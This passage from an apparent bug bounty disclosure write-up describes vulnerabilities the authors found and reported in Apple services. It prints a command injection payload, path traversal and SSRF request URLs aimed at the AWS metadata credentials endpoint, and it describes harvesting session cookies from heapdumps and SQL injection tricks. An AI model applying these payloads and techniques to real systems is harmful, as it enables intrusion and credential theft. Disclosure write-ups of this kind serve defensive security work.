<p>
The impact for the second XSS was the same as the first one, except for this one the user would have to trigger the onmouseover event handler via putting their mouse somewhere within the email body, but this part could be simplified to trigger more easily by making the hyperlink of the entire email.
</p>
<p>
Overall, an attacker could've abused this to...
</p>
<ul>
<li>Create a worm that has the capability to silently exfiltrate/modify iCloud account information including photos and videos
</li>
<li>Silently execute arbitrary HTML and JavaScript within the victim's browser
</li>
</ul>
</div>
<div id="vuln4" class="section">
<h2>
Command Injection in Authors ePublisher
</h2>
<p>
A major feature of Apple is the ability to upload and sell books, movies, tv shows, and songs. The files you upload get propagated to various Apple services such as iTunes where people can download or purchase them. This seemed like a good vector for customer XSS and blind XSS against employees.
</p>
<p>
In order to upload files, we first had to apply for access to the service on iTunes Connect.
</p>
<p>
We ran into an interesting problem where we did not have access to an iPad or iPhone, but we kept on looking for ways to use this service still. After some investigating, we discovered a tool called Transporter.
</p>
<p>
<a href="https://help.apple.com/itc/transporteruserguide/#/">Transporter</a> is a Java app that can be used to interact with a jsonrpc API for bulk uploading files utilizing a few different file services.
</p>
<p>
At the same time, we were also looking through the iTunes Connect Book <a href="https://itunespartner.apple.com/books/">help docs</a> and we found a page that explained a few different ways to upload books including an online web service: <a href="https://itunespartner.apple.com/books/articles/submit-your-ebook-2717">https://itunespartner.apple.com/books/articles/submit-your-ebook-2717</a>
</p>
<p>
This led us to the following service, <a href="https://authors.apple.com/epub-upload">Apple Books for Authors</a>.
</p>
<p>
This service only has a couple of features:
</p>
<ul>
<li>Sign-in / Register
</li>
<li>Upload images for book cover
</li>
<li>Upload book ePub file
</li>
<li>Upload book Sample ePub file
</li>
</ul>
<p>
The first thing we did was download sample epub files and upload them. Funny enough, the first epub file we grabbed was an epub version 1 format with invalid xhtml. The publish tool spit out a huge wall of text of errors to let us know why it failed to upload/validate.
</p>
<p>
<strong>HTTP Request:</strong>
</p>
<pre class="wp-block-code"><code>POST /api/v1/validate/epub HTTP/1.1
Host: authors.apple.com
{"epubKey":"2020_8_11/10f7f9ad-2a8a-44aa-9eec-8e48468de1d8_sample.epub","providerId":"BrettBuerhaus2096637541"}</code></pre>
<p>
<strong>HTTP Response:</strong>
</p>
<pre class="wp-block-code"><code>[2020-08-11 21:49:59 UTC] &lt;main&gt; DBG-X: parameter TransporterArguments = -m validateRawAssets -assetFile /tmp/10f7f9ad-2a8a-44aa-9eec-8e48468de1d8_sample.epub -dsToken **hidden value** -DDataCenters=contentdelivery.itunes.apple.com -Dtransporter.client=BooksPortal -Dcom.apple.transporter.updater.disable=true -verbose eXtreme -Dcom.transporter.client.version=1.0 -itc_provider BrettBuerhaus2096637541</code></pre>
<p>
As you can probably guess at this point, all we had to do was a simple command injection on the provderId JSON value.
</p>
<p>
We intercepted the request on the next upload and replaced it with:
</p>
<pre class="wp-block-code"><code>"providerId":"BrettBuerhaus2096637541||test123"</code></pre>
<p>
And we got the following output:
</p>
<pre class="wp-block-code"><code>/bin/sh: 1: test123: not found</code></pre>
<p>
The following is a screenshot showing the output of "<em>ls /</em>":
</p>
<div class="wp-block-image">
<figure class="aligncenter">
<img src="https://i.imgur.com/njo88pO.png" alt="" />
</figure>
</div>
<p>
Overall, an attacker could've abused this to...
</p>
<ul>
<li>Execute arbitrary commands on the authors.apple.com webserver
</li>
<li>Access Apple's internal network
</li>
</ul>
<p>
This was a good exercise in making sure you fully explore what you are testing. A lot of the big names in recon research talk about creating mind maps and this is an example of that. We started with iTunes Connect, started exploring Books, and continued to branch out until we fully understood what services exist around that single feature.
</p>
<p>
It also is a good reminder that you need to find as much information as possible before you start going down rabbit-holes while testing. Without exploring the help docs, you may have missed the web epub app entirely as it is a single link on one page.
</p>
</div>
<div id="vuln5" class="section">
<h2>
Full Response SSRF on iCloud allows Attacker to Retrieve Apple Source Code
</h2>
<p>
The most elusive bug while hacking on Apple was full response SSRF. We found nearly a dozen blind or semi-blind SSRFs, but had a terribly hard time trying to find any way to retrieve the response. This was incredibly frustrating as during our recon process we found tons of references to what appeared to be awesome internal applications for source code management, user management, information lookup, and customer support.
</p>
<p>
It wasnt until the end of our engagement when we finally stumbled upon one which seemed to have a great deal of internal network access.
</p>
<p>
During testing the iCloud application we noticed that you could open up certain attachments from the iCloud mail application in the iCloud pages application via the “Open in Pages” functionality. When you submitted the form to do this, it sent an HTTP request containing a URL parameter which included the URL of the mail file attachment in the request. If you attempted to modify this URL to something arbitrary, the request would fail and give a “400 Bad Request” error. The process would create a “job” where the response of the HTTP request was converted into an Apple Pages document, then opened in a new tab.
</p>
<div class="wp-block-image">
<figure class="aligncenter">
<img src="https://i.imgur.com/g6oTd8y.png" alt="" />
</figure>
</div>
<p>
It seemed to only allow URLs from the “p37-mailws.icloud.com” domain, would not convert pages with anything but a 200 OK HTTP response, and would additionally be a bit hard to test as the conversion process was done through multiple HTTP requests and a job queue.
</p>
<div class="wp-block-image">
<figure class="aligncenter">
<img src="https://i.imgur.com/FCrEKbj.png" alt="" />
</figure>
</div>
<p>
What worked to exploit this was appending “@ourdomain.com” after the white-listed domain which would point the request at our domain. The process would convert the raw HTML to an Apple pages file then display it to us in a new window. This was a bit annoying to fuzz with, so Brett ended up throwing together a python script to automate the process.
</p>
<p>
<a href="https://gist.github.com/samwcyo/f8387351ce9acb7cffce3f1dd94ce0d6">https://gist.github.com/samwcyo/f8387351ce9acb7cffce3f1dd94ce0d6</a>
</p>
<p>
Our proof of concept for this report was demonstrating we could read and access Apples internal maven repository. We did not access any source code nor was this ever exploited by other actors.
</p>
<p>
If the file was too large to be saved to a Pages file, it would instead be stored to the drive in a downloadable zip file which would allow us to extract large files like jars and zips.
</p>
<p>
We had found the internal maven URL disclosed in a Github repository.
</p>
<div class="wp-block-image">
<figure class="aligncenter">
<img src="https://i.imgur.com/gzyxzAr.png" alt="" />
</figure>
</div>
<p>
There were many other internal applications we couldve pulled from, but since we demonstrated access to the Maven repository with source code access we reported the issue right away.
</p>
<p>
Overall, an attacker could've abused this to...
</p>
<ul>
<li>Read the various iOS source code files within the maven repository
</li>
<li>Access anything else available within Apple's internal network
</li>
<li>Fully compromise a victim's session via a cross-site scripting vulnerability due to the disclosed HTTP only cookies within the HTTP request
</li>
</ul>
<p>
The full process that had to be followed when scripting this is as follows:
</p>
<figure class="wp-block-image size-large">
<img loading="lazy" width="831" height="1022" class="wp-image-1247" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/process.png" alt="" srcset="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/process.png 831w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/process-244x300.png 244w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/process-768x945.png 768w" sizes="(max-width: 831px) 100vw, 831px" />
</figure>
</div>
<div id="vuln6" class="section">
<h2>
Nova Admin Debug Panel Access via REST Error Leak
</h2>
<p>
While going through a list of all Apple subdomains one at a time, we discovered some interesting functionality from "concierge.apple.com", "s.apple.com", and "events.apple.com".
</p>
<p>
With a little bit of Google dorking, we found that a specific request to "s.apple.com" would take you to "events.apple.com" with an authentication token.
</p>
<p>
<strong>HTTP Request:</strong>
</p>
<pre class="wp-block-code"><code>GET /dQ{REDACTED}fE HTTP/1.1
Host: s.apple.com</code></pre>
<p>
<strong>HTTP Response:</strong>
</p>
<pre class="wp-block-code"><code>HTTP/1.1 200
Server: Apple
Location: https://events.apple.com/content/events/retail_nso/ae/en/applecampathome.html?token=fh{REDACTED}VHUba&amp;a=1&amp;l=e</code></pre>
<p>
Performing our standard recon techniques, we grabbed the JavaScript files and started looking for endpoints and API routes.
</p>
<figure class="wp-block-image">
<img src="https://i.imgur.com/Khvao1e.png" alt="" />
</figure>
<p>
Discovering a /services/public/account endpoint, we started to play around with it. We quickly discovered that passing in an invalid marketCode parameter resulted in the server returning a REST exception error.
</p>
<p>
<strong>HTTP Request:</strong>
</p>
<figure class="wp-block-image size-large">
<img loading="lazy" class="alignnone size-full wp-image-1427" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/request_x-1.png" alt="" width="783" height="159" srcset="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/request_x-1.png 783w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/request_x-1-300x61.png 300w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/request_x-1-768x156.png 768w" sizes="(max-width: 783px) 100vw, 783px" />
</figure>
<p>
<strong>HTTP Response:</strong>
</p>
<figure class="wp-block-image size-large">
<img loading="lazy" class="alignnone size-full wp-image-1408" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/edit_me_now-1.png" alt="" width="1024" height="392" srcset="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/edit_me_now-1.png 1024w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/edit_me_now-1-300x115.png 300w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/edit_me_now-1-768x294.png 768w" sizes="(max-width: 1024px) 100vw, 1024px" />
</figure>
<p>
From the error message we can see the server is forwarding an API request to the following location:
</p>
<pre class="wp-block-code"><code>https://nova-admin.corp.apple.com/services/locations/searchLocation?locationName=t&amp;rtm=1</code></pre>
<p>
We can also see that it leaked some request/response headers including a nova-admin cookie and an authorization token that the server is sending to make requests to nova-admin.corp.apple.com API requests.
</p>
<p>
Also interesting is that the /services/ endpoint is similar to the /services/public/ API endpoints for the events app. We could not hit the endpoints on the event app and we did not have access to nova-admin.corp.apple.com. Going back to our recon data, we noticed that there is a nova.apple.com.
</p>
<p>
Attempting to use the acquired auth token and cookie, we noted that the credentials were valid as we were no longer being redirected to idsmac auth, but it was still 403 forbidden.
</p>
<p>
With a little bit of fuzzing, we discovered that we were able to hit /services/debug.func.php.
</p>
<p>
Even though it was not a website with PHP extensions, it appeared adding any extension to the debug route would bypass the route restrictions they built since the authorization was separate from the functionality itself.
</p>
<p>
<strong>HTTP Request:</strong>
</p>
<figure class="wp-block-image size-large">
<img loading="lazy" width="913" height="200" class="wp-image-1226" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/last_one.png" alt="" srcset="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/last_one.png 913w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/last_one-300x66.png 300w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/last_one-768x168.png 768w" sizes="(max-width: 913px) 100vw, 913px" />
</figure>
<p>
<strong>HTTP Response:</strong>
</p>
<figure class="wp-block-image size-large">
<img loading="lazy" class="alignnone size-full wp-image-1428" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/new_two-1.png" alt="" width="635" height="199" srcset="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/new_two-1.png 635w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/new_two-1-300x94.png 300w" sizes="(max-width: 635px) 100vw, 635px" />
</figure>
<p>
This portal contained dozens of options, also contained several hundred configuration parameters and values.
</p>
<figure class="wp-block-image size-large">
<img loading="lazy" width="884" height="669" class="wp-image-1224" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/pasted-image-0-1.png" alt="" srcset="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/pasted-image-0-1.png 884w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/pasted-image-0-1-300x227.png 300w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/pasted-image-0-1-768x581.png 768w" sizes="(max-width: 884px) 100vw, 884px" />
</figure>
<p>
One of the values also contained an AWS secret key, another contained server crontabs. Having the ability to update these values was enough to prove command injection.
</p>
<figure class="wp-block-image size-large">
<img loading="lazy" width="882" height="244" class="wp-image-1230" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/pasted-image-0-3.png" alt="" srcset="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/pasted-image-0-3.png 882w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/pasted-image-0-3-300x83.png 300w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/pasted-image-0-3-768x212.png 768w" sizes="(max-width: 882px) 100vw, 882px" />
</figure>
<p>
Overall, an attacker could've abused this to...
</p>
<ul>
<li>Execute arbitrary commands on the nova.apple.com webserver
</li>
<li>Access Apple's internal network
</li>
</ul>
<p>
At this point, we decided we had proven enough impact and stopped. The full flow from above is as follows:
</p>
<figure class="wp-block-image size-large">
<img loading="lazy" class="alignnone size-full wp-image-1429" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/diagram-1.png" alt="" width="801" height="951" srcset="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/diagram-1.png 801w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/diagram-1-253x300.png 253w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/diagram-1-768x912.png 768w" sizes="(max-width: 801px) 100vw, 801px" />
</figure>
</div>
<div id="vuln7" class="section">
<h2>
AWS Secret Keys via PhantomJS iTune Banners and Book Title XSS
</h2>
<p>
We discovered the iTunes banner maker website a few weeks prior to finding this vulnerability. It was not until we added a book via iTunes Connect did we discover an interesting feature on the banner maker.
</p>
<figure class="wp-block-image">
<a href="https://banners.itunes.apple.com/us/catalog"><img src="https://i.imgur.com/a94Z6xV.png" alt="" /></a>
</figure>
<p>
There are multiple banner image formats based on the height and width specified. We discovered that the "300x250" banner image included the book name.
</p>
<p>
We also noticed that it was vulnerable to Cross-Site Scripting because the book name was underlined with our injected "&lt;u&gt;" element which we had set whilst registering the book on iTunes connect.
</p>
<figure class="wp-block-image">
<img src="https://i.imgur.com/KvHUtLU.png" alt="" />
</figure>
<p>
Image URL:
</p>
<pre class="wp-block-code"><code>https://banners.itunes.apple.com/bannerimages/banner.png?pr=itunes&amp;t=catalog_black&amp;c=us&amp;l=en-US&amp;id=1527342866&amp;w=300&amp;h=250&amp;store=books&amp;cache=false</code></pre>
<p>
Earlier we had already discovered that there was path traversal and parameter injection in a few of the request parameters such as "pr". For example:
</p>
<pre class="wp-block-code"><code>https://banners.itunes.apple.com/bannerimages/banner.png?pr=itunes/../../&amp;t=catalog_black&amp;c=us&amp;l=en-US&amp;id=1527342866&amp;w=300&amp;h=250&amp;store=books&amp;cache=false</code></pre>
<p>
Results in a picture of the AWS S3 error page:
</p>
<div class="wp-block-image">
<figure class="aligncenter size-large">
<img loading="lazy" width="300" height="88" class="wp-image-1221" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/banner.png" alt="" />
</figure>
</div>
<p>
From here we made the assumption that they were using a headerless browser client to take screenshots of HTML files inside of an S3 bucket. So the next step was to create a book with &lt;script src=””&gt; in the name to start playing around with the XSS in the image generation process.
</p>
<p>
The first thing we noticed was in the request log when it hit our server:
</p>
<pre class="wp-block-code"><code>54.210.212.22 - - [21/Aug/2020:15:54:07 +0000] "GET /imgapple.js?_=1598025246686 HTTP/1.1" 404 3901 "http://apple-itunes-banner-builder-templates-html-stage.s3-website-us-east-1.amazonaws.com/itunes/catalog_white/index.html?pr=itunes&amp;t=catalog_white&amp;c=us&amp;l=en-US&amp;id=1528672619&amp;w=300&amp;h=250&amp;store=books&amp;cache=false" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1"</code></pre>
<p>
This is the S3 bucket / image it was hitting to generate the picture:
</p>
<pre class="wp-block-code"><code>http://apple-itunes-banner-builder-templates-html-stage.s3-website-us-east-1.amazonaws.com/itunes/catalog_white/index.html?pr=itunes&amp;t=catalog_white&amp;c=us&amp;l=en-US&amp;id=1528672619&amp;w=300&amp;h=250&amp;store=books&amp;cache=false</code></pre>
<p>
And this is the User-Agent:
</p>
<pre class="wp-block-code"><code>PhantomJS/2.1.1</code></pre>
<p>
Luckily for us, Brett had actually exploited exactly this a few years prior:
</p>
<div class="twitter-tweet twitter-tweet-rendered" style="display: flex; max-width: 550px; width: 100%; margin-top: 10px; margin-bottom: 10px;">
<iframe id="twitter-widget-2" scrolling="no" frameborder="0" allowtransparency="true" allowfullscreen="true" class="" style="position: static; visibility: visible; width: 550px; height: 194px; display: block; flex-grow: 1;" title="Twitter Tweet" src="https://platform.twitter.com/embed/index.html?dnt=true&amp;embedId=twitter-widget-2&amp;frame=false&amp;hideCard=false&amp;hideThread=false&amp;id=880498767551541248&amp;lang=en&amp;origin=https%3A%2F%2Fsamcurry.net%2Fhacking-apple%2F&amp;theme=light&amp;widgetsVersion=ed20a2b%3A1601588405575&amp;width=550px" data-tweet-id="880498767551541248" name="twitter-widget-2"></iframe>
</div>
<script async="async" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
<p>
The first thing was to write our JS XSS payload to perform Server-Side Request Forgery attacks. A good method to do this and render data is with the &lt;iframe&gt; element.
</p>
<p>
<a href="https://gist.github.com/ziot/ef5297cc1324b13a8fae706eeecc68a5">https://gist.github.com/ziot/ef5297cc1324b13a8fae706eeecc68a5</a>
</p>
<p>
Since we know this on AWS, we attempt to hit AWS metadata URI:
</p>
<pre class="wp-block-code"><code>https://banners.itunes.apple.com/bannerimages/banner.png?pr=itunes&amp;t=catalog_black&amp;c=us&amp;l=en-US&amp;id=1528672619%26cachebust=12345%26url=http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance%26&amp;w=800&amp;h=800&amp;store=books&amp;cache=false</code></pre>
<p>
This rendered a new banner image with the full AWS secret keys for an ec2 and iam role:
</p>
<figure class="wp-block-image size-large">
<img loading="lazy" width="600" height="272" class="wp-image-1220" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/image-1.png" alt="" srcset="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/image-1.png 600w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/image-1-300x136.png 300w" sizes="(max-width: 600px) 100vw, 600px" />
</figure>
<p>
Most of Apples interesting infrastructure appears to be in the /8 IP CIDR they own dubbed “Applenet,” but they do have quite a bit of hosts and services in AWS ec2/S3. We knew the SSRF would not be super interesting with the recon we performed as most of the interesting corp targets are in Applenet and not AWS.
</p>
<p>
Overall, an attacker could've abused this to...
</p>
<ul>
<li>Read contents from Apple's internal Amazon Web Services environment
</li>
<li>Access and use the AWS ec2 keys discloses within the internal metadata page
</li>
</ul>
</div>
<div id="vuln8" class="section">
<h2>
Heap Dump on Apple eSign Allows Attacker to Compromise Various External Employee Management Tools
</h2>
<p>
During our initial recon phase collecting sub-domains and discovering the Apple public-facing surface, we found a bunch of “esign” servers.
</p>
<ul>
<li>https://esign-app-prod.corp.apple.com/
</li>
<li>https://esign-corpapp-prod.corp.apple.com/
</li>
<li>https://esign-internal.apple.com
</li>
<li>https://esign-service-prod.corp.apple.com
</li>
<li>https://esign-signature-prod.corp.apple.com
</li>
<li>https://esign-viewer-prod.corp.apple.com/
</li>
<li>https://esign.apple.com/
</li>
</ul>
<p>
Upon loading the subdomain, youre immediately redirected to a /viewer folder. When you go through the Apple idmsa authentication flow, you are returned to an “you are not authorized” error.
</p>
<div class="wp-block-image">
<figure class="aligncenter">
<img src="https://i.imgur.com/tFKClIe.png" alt="" />
</figure>
</div>
<p>
We do not have access to any links or interesting js files from this page, so we tried some basic wordlists to see if we could find endpoints for the application. From here we discovered that <strong>/viewer/actuator</strong> responded with all of the actuator endpoints including mapping and heapdump.
</p>
<div class="wp-block-image">
<figure class="aligncenter">
<img src="https://i.imgur.com/eo7Yjbt.png" alt="" />
</figure>
</div>
<p>
We were unable to make changes by sending state-changing requests to actuator in an attempt for Remote Code Execution, so we had to find an alternative route for proving impact.
</p>
<p>
The mappings exposed all the web routes to us, including additional folders at the root of the host that had additional actuator heapdumps in them. It was at this point that we realized the actuator endpoints were vulnerable in each app folder on all esign subdomains. From here we grabbed a heapdump from ensign-internal.
</p>
<p>
We loaded the heapdump using Eclipse Memory Analyzer and exported all the strings out to csv to sift with grep.
</p>
<div class="wp-block-image">
<figure class="aligncenter">
<img src="https://i.imgur.com/xScEqqm.png" alt="" />
</figure>
</div>
<p>
From there we learned that the applications authentication cookie is “acack”. We searched for acack in the heapdump until we found a valid session cookie. <strong>At this point we were certain that it was an Apple employee token and not a customer, otherwise we would not have tested it.</strong> Upon loading it, we were able to access the application.
</p>
<p>
Theres not much we can show, but heres a snippet showing the authenticated view of the page:
</p>
<div class="wp-block-image">
<figure class="aligncenter">
<img src="https://i.imgur.com/hHMpEmz.png" alt="" />
</figure>
</div>
<p>
This gave us access to 50+ application endpoints, including some admin endpoints such as “setProxy” that would likely have been easily escalated to an internal SSRF or RCE. We also noticed that the acack cookie was authenticating us to other applications as well.
</p>
<p>
Having proven sufficient impact we stopped here and reported it.
</p>
<p>
Actuators exposing heapdumps public-facing are nothing new and its a relatively low-hanging finding that most wordlists will catch. Its important to remember that just because you arent finding them commonly, theyre still out there and on big targets just waiting to be found by an attacker.
</p>
</div>
<div id="vuln9" class="section">
<h2>
XML External Entity processing to Blind SSRF on Java Management API
</h2>
<p>
During testing, we discovered an API with multiple unauthenticated functions that all consumed "application/xml" after finding an exposed "application.wadl" on one of the many 17.0.0.0/8 hosts.
</p>
<p>
An application.wadl file defines the endpoints used by this service. This was a test instance of a service that is normally locked down and inaccessible.
</p>
<p>
We were able to use a blind XXE payload to demonstrate a blind SSRF.
</p>
<div class="wp-block-image">
<figure class="aligncenter size-large">
<img loading="lazy" width="1021" height="305" class="wp-image-1159" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/bssrfhttp.png" alt="" srcset="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/bssrfhttp.png 1021w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/bssrfhttp-300x90.png 300w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/bssrfhttp-768x229.png 768w" sizes="(max-width: 1021px) 100vw, 1021px" />
</figure>
</div>
<p>
Sadly, we were not able to fully exploit this to read files on this machine or get a response back from an SSRF due to the Java version used on this machine (fully patched, preventing a 2 stage blind XXE payload). Additionally we did not know the expected XML format structure (preventing a non-blind XXE exploit).
</p>
<p>
This vulnerability was interesting as Apple is heavily XML dependent and it felt like we wouldve found more instances of XXE with how many requests wed seen using it. It was surprising exploiting this one because to achieve blind XXE as it was very straightforward compared to all of the complicated ways wed tried to identify it over time.
</p>
<p>
If we were to ever successfully exploit this to achieve local file read or full response SSRF, it would likely be through finding the proper XML format for the API itself in order to reflect the file contents directly versus achieve blind exfiltration.
</p>
<p>
Overall, an attacker could've abused this to...
</p>
<ul>
<li>Obtain what are essentially keys to various internal and external employee applications
</li>
<li>Disclose various secrets (database credentials, OAuth secrets, private keys) from the various esign.apple.com applications
</li>
</ul>
</div>
<div id="vuln10" class="section">
<h2>
GBI Vertica SQL Injection and Exposed GSF API
</h2>
<p>
Our initial recon efforts involved capturing screenshots of all Apple owned domains and IP addresses that responded with an HTTP banner. We found a couple servers that looked like this:
</p>
<div class="wp-block-image">
<figure class="aligncenter">
<img src="https://i.imgur.com/MDNTLze.png" alt="" />
</figure>
</div>
<p>
From here we started to mess around with some of the applications such as "/depReports". We could authenticate to them and access some data via API requests to an API on the "/gsf/" route. All of the applications that we accessed on this host routed requests through that GSF service.
</p>
<p>
The request looked like the following:
</p>
<pre class="wp-block-code"><code>POST /gsf/partShipment/businessareas/AppleCare/subjectareas/acservice/services/batch HTTP/1.1
Host: gbiportal-apps-external-msc.apple.com
{
"executionType": "parallel",
"requests": [{
"queryName": "redacted",
"filters": {
"redacted_id": ["redacted"],
"redacted": [""]
}
}, {
"queryName": "redacted",
"filters": {
"redacted_id": ["redacted"],
"redacted": [""],
"redacted": [""],
"redacted": [""],
"redacted": [""],
"redacted": [""],
"redacted": ["service_notification_number"],
"redacted": ["desc"]
}
}, {
"queryName": "redacted",
"filters": {
"redacted_id": ["redacted"],
"redacted": [""],
"redacted": [""],
"redacted": [""],
"redacted": [""],
"redacted": [""],
"redacted": ["service_notification_number"],
"redacted": ["desc"],
"redacted": ["100"],
"redacted": ["0"]
}
}]
}
</code></pre>
<p>
You can see almost immediately that there are some really strong indicators here that they are interacting with SQL. Keywords: query, limit, offset, column names, filter, etc. Making one tiny change to see what happens, we got the following:
</p>
<div class="wp-block-image">
<figure class="aligncenter">
<img loading="lazy" class="alignnone size-full wp-image-1433" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/pasted-image-0-6-1024x357-1.png" alt="" width="1024" height="357" srcset="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/pasted-image-0-6-1024x357-1.png 1024w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/pasted-image-0-6-1024x357-1-300x105.png 300w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/pasted-image-0-6-1024x357-1-768x268.png 768w" sizes="(max-width: 1024px) 100vw, 1024px" />
</figure>
</div>
<p>
(Heavily redacted, covering up the query error that includes column names, table name, database name, etc). The important bit is:
</p>
<pre class="wp-block-code"><code>exception is java.sql.SQLException: java.sql.SQLSyntaxErrorException: [Vertica][VJDBC](4856) ERROR: Syntax error at or near \"adesc\""}]}]}</code></pre>
<p>
We eventually got a union injection working. Some important parts were the extra "*/*/" closing comments in limit due to stacking queries. We also had to use /**/ between FROM and table as vSQL has some protections built into it against SQL injection.
</p>
<div class="wp-block-image">
<figure class="aligncenter">
<img loading="lazy" class="alignnone size-full wp-image-1434" src="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/pasted-image-0-7-1024x671-1.png" alt="" width="1024" height="671" srcset="https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/pasted-image-0-7-1024x671-1.png 1024w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/pasted-image-0-7-1024x671-1-300x197.png 300w, https://secureservercdn.net/198.71.233.197/623.f31.myftpupload.com/wp-content/uploads/2020/08/pasted-image-0-7-1024x671-1-768x503.png 768w" sizes="(max-width: 1024px) 100vw, 1024px" />
</figure>
</div>
<p>
There is no vSQLMap, so a lot of manual effort went into getting a working injection:
</p>
<div class="wp-block-image">
<figure class="aligncenter">
<img src="https://i.imgur.com/IkhPzKv.png" alt="" />
</figure>
</div>
<p>
Once we got it working, we decided to script it out to make it easier. We uploaded a gist of it on Github here:
</p>
<p>
<a href="https://gist.github.com/ziot/3c079fb253f4e467212f2ee4ce6c33cb">https://gist.github.com/ziot/3c079fb253f4e467212f2ee4ce6c33cb</a>
</p>
<p>
If anyone is interested in Vertica SQL injection, I highly recommend checking out their SQL docs. There are some interesting functions that could be leveraged to take the injection further, e.g.
</p>
<p>
<a href="https://www.vertica.com/docs/9.2.x/HTML/Content/Authoring/SQLReferenceManual/Functions/VerticaFunctions/s3export.htm">https://www.vertica.com/docs/9.2.x/HTML/Content/Authoring/SQLReferenceManual/Functions/VerticaFunctions/s3export.htm</a>
</p>
<p>
If configured with AWS keys, you can use the SQL injection to pull AWS secret keys off of the server. In our case, this wasnt configured for AWS so we were not able to do that.
</p>
<p>
We had enough information to report the SQL injection at this point. We decided to explore the "/gsf/" API a bit more as we figured they might ACL off this host and it would no longer be public-facing.
</p>
<div class="wp-block-image">
<figure class="aligncenter">
<img src="https://i.imgur.com/7zTie1a.png" alt="" />
</figure>
</div>
<p>
It was quickly apparent that the GSF API had access to the “GSF” module that exposed a lot of information about GSF applets. This included some API endpoints for pulling cluster data, application data, and possibly even deploying new clusters and applications.
</p>
<p>
We speculate at this point we would have been able to deploy internal APIs to the public-facing "/gsf/ "in this cluster giving us access to sensitive data. However, we didnt prove it out due to the risk. We reported it and stopped here.
</p>
<p>
Overall, an attacker could've abused this to...
</p>
<ul>
<li>Likely compromise the various internal applications via the publicly exposed GSF portal
</li>
<li>Execute arbitrary Vertica SQL queries and extract database information
</li>
</ul>
</div>
<div id="vuln11" class="section">
<h2>
Various IDOR Vulnerabilities
</h2>
<p>
Throughout testing on Apple we discovered a variety of IDORs affecting different parts of Apple. The first one was found within the app store connect application that was used to manage apps on the app store.
</p>
<h4>
App Store Connect
</h4>
<p>
After signing up for the developer service, the first thing we did was explore the App Store Connect application which let developers manage their apps that they had or planned to release to the app store.
</p>
<p>
Hidden behind a few hyperlinks from the settings page was a setting to enable the Game Center for the application. This would allow you to create leader-boards and manage locales for your application. If you enabled this, you were redirected to a more older looking page which used a new set of identifiers to manage the new game center/locale settings you can add to your app.
</p>
<div class="wp-block-image">
<figure class="aligncenter size-large">
